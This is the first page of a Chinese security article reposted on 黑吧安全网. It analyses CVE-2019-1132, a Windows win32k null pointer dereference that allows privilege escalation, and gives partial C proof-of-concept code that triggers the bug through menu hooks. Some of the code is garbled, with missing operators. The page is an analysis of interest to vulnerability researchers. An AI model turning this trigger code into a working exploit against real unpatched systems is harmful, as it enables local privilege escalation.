欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

CVE–2019-1132漏洞修复后仍可被利用

来源:本站整理 作者:佚名 时间:2019-08-06 TAG: 我要投稿


 
CVE–2019-1132是Windows kernel中的一个空指针引用漏洞。空指针引用漏洞已经消失多年了,但仍然被用于恶意软件攻击中。本文介绍CVE-2019-1132漏洞的技术细节,以及PoC代码。
简介
该漏洞是win32k.sys驱动中的空指针引用,会导致Windows 7和Windows Server 2008系统中的权限提升。微软已于2019年7月发布漏洞补丁。本文将对漏洞进行分析并创建了Windows 7 x86环境+6月份修复补丁的PoC。
 
漏洞概述
该来的位于win32k!xxxMNOpenHierarchy函数中,因为该函数没有检查指向tag POPUPMENU->ppopupmenuRoot的指针是否为空。该域可以被不同的操作访问,如果攻击者可以将该域设置为NULL,就可以引发空指针引用。
为了利用该漏洞,攻击者需要以特定方式来映射该null页,然后成功进行权限提升。为了将ppopupmenuRoot设置为NULL,首先要释放该域指向的root popupmenu菜单。研究人员首先打开root popupmenu的一个sub-menu,sub-menu会在kernel模式下调用win32k!xxxMNOpenHierarchy,该调用会创建第二个sub-menu。创建第二个popupmenu时,root menu的sub-menu的ppopupmenuRoot域会含有NULL。当win32k!HMAssignmentLock函数尝试访问该域时,会执行一个空指针引用操作,导致BSOD(Windows蓝屏)。
 
漏洞触发
为了触发该漏洞,研究人员使用了ESET博客中的方法。总结如下:
1.首先创建一个窗口和3个menu对象,然后将meau项合并。
/* Creating the menu */
 for (int i = 0; i 3; i++)
 hMenuList[i] = CreateMenu();
/* Appending the menus along with the item */
 for (int i = 0; i 3; i++)
 {
 AppendMenuA(hMenuList[i], MF_POPUP | MF_MOUSESELECT, (UINT_PTR)hMenuList[i + 1], "item");
 }
 AppendMenuA(hMenuList[2], MF_POPUP | MF_MOUSESELECT, (UINT_PTR)0, "item");
/* Creating a main window class */
 xxRegisterWindowClassW(L"WNDCLASSMAIN", 0x000, DefWindowProc);
 hWindowMain = xxCreateWindowExW(L"WNDCLASSMAIN",
 WS_EX_LAYERED | WS_EX_TOOLWINDOW | WS_EX_TOPMOST,
 WS_VISIBLE,
 GetModuleHandleA(NULL));
 printf("Handle of the mainWindow : 0x%08Xn", (unsigned int)hWindowMain);
 ShowWindow(hWindowMain, SW_SHOWNOACTIVATE);
2.在WH_CALLWNDPROC和EVENT_SYSTEM_MENUPOPUPSTART上安装hook。
/* Hooking the WH_CALLWNDPROC function */
 SetWindowsHookExW(WH_CALLWNDPROC, xxWindowHookProc, GetModuleHandleA(NULL), GetCurrentThreadId());
/* Hooking the trackpopupmenuEx WINAPI call */
 HWINEVENTHOOK hEventHook = SetWinEventHook(EVENT_SYSTEM_MENUPOPUPSTART, EVENT_SYSTEM_MENUPOPUPSTART, GetModuleHandleA(NULL), xxWindowEventProc,
 GetCurrentProcessId(), GetCurrentThreadId(), 0);
3.用TrackPopupMenuEx函数来展示root popup menu。当TrackPopupMenuEx被调用时,会调用win32k!xxxTrackPopupMenuEx函数来展示菜单。然后会通过EVENT_SYSTEM_MENUPOPUPSTART类型的事件来通知用户。
/* Setting the root popup menu to null */
printf("Setting the root popup menu to nulln");
release = 0;
TrackPopupMenuEx(hMenuList[0], 0, 0, 0, hWindowMain, NULL);
4.这会触发事件hook函数xxWindowEventProc。通过发送MN_OPENHIERARCHY消息,它最终会调用函数win32k!xxxMNOpenHierarchy。
static
VOID
CALLBACK
xxWindowEventProc(
    HWINEVENTHOOK hWinEventHook,
    DWORD         event,
    HWND          hwnd,
    LONG          idObject,
    LONG          idChild,
    DWORD         idEventThread,
    DWORD         dwmsEventTime
)
{
    UNREFERENCED_PARAMETER(hWinEventHook);
    UNREFERENCED_PARAMETER(event);
    UNREFERENCED_PARAMETER(idObject);
    UNREFERENCED_PARAMETER(idChild);
    UNREFERENCED_PARAMETER(idEventThread);
    UNREFERENCED_PARAMETER(dwmsEventTime);
    bEnterEvent = TRUE;
    if (iCount 0, 0);
    SendMessageW(hwnd, MN_SELECTFIRSTVALIDITEM, 0, 0);
    PostMessageW(hwnd, MN_OPENHIERARCHY, 0, 0);
}
5.当函数win32k!xxxMNOpenHierarchy被调用后,会调用win32k!xxxCreateWindowEx函数来创建另一个popupmenu对象。在调用win32k!xxxCreateWindowEx函数期间,WM_NCCREATE消息会被发送给用户,可以在WH_CALLWNDPROC hook函数中看到,比如xxWindowHookProc。
6.在xxWindowHookProc函数中,研究人员会通过检查root menu对象的window handle来检查是否创建rootpopup menu对象,并验证下一个popup menu对象window handle是否为NULL。研究人员还确认了该消息是否为WM_NCCREATE。
static
LRESULT
CALLBACK
xxWindowHookProc(INT code, WPARAM wParam, LPARAM lParam)

[1] [2] [3]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载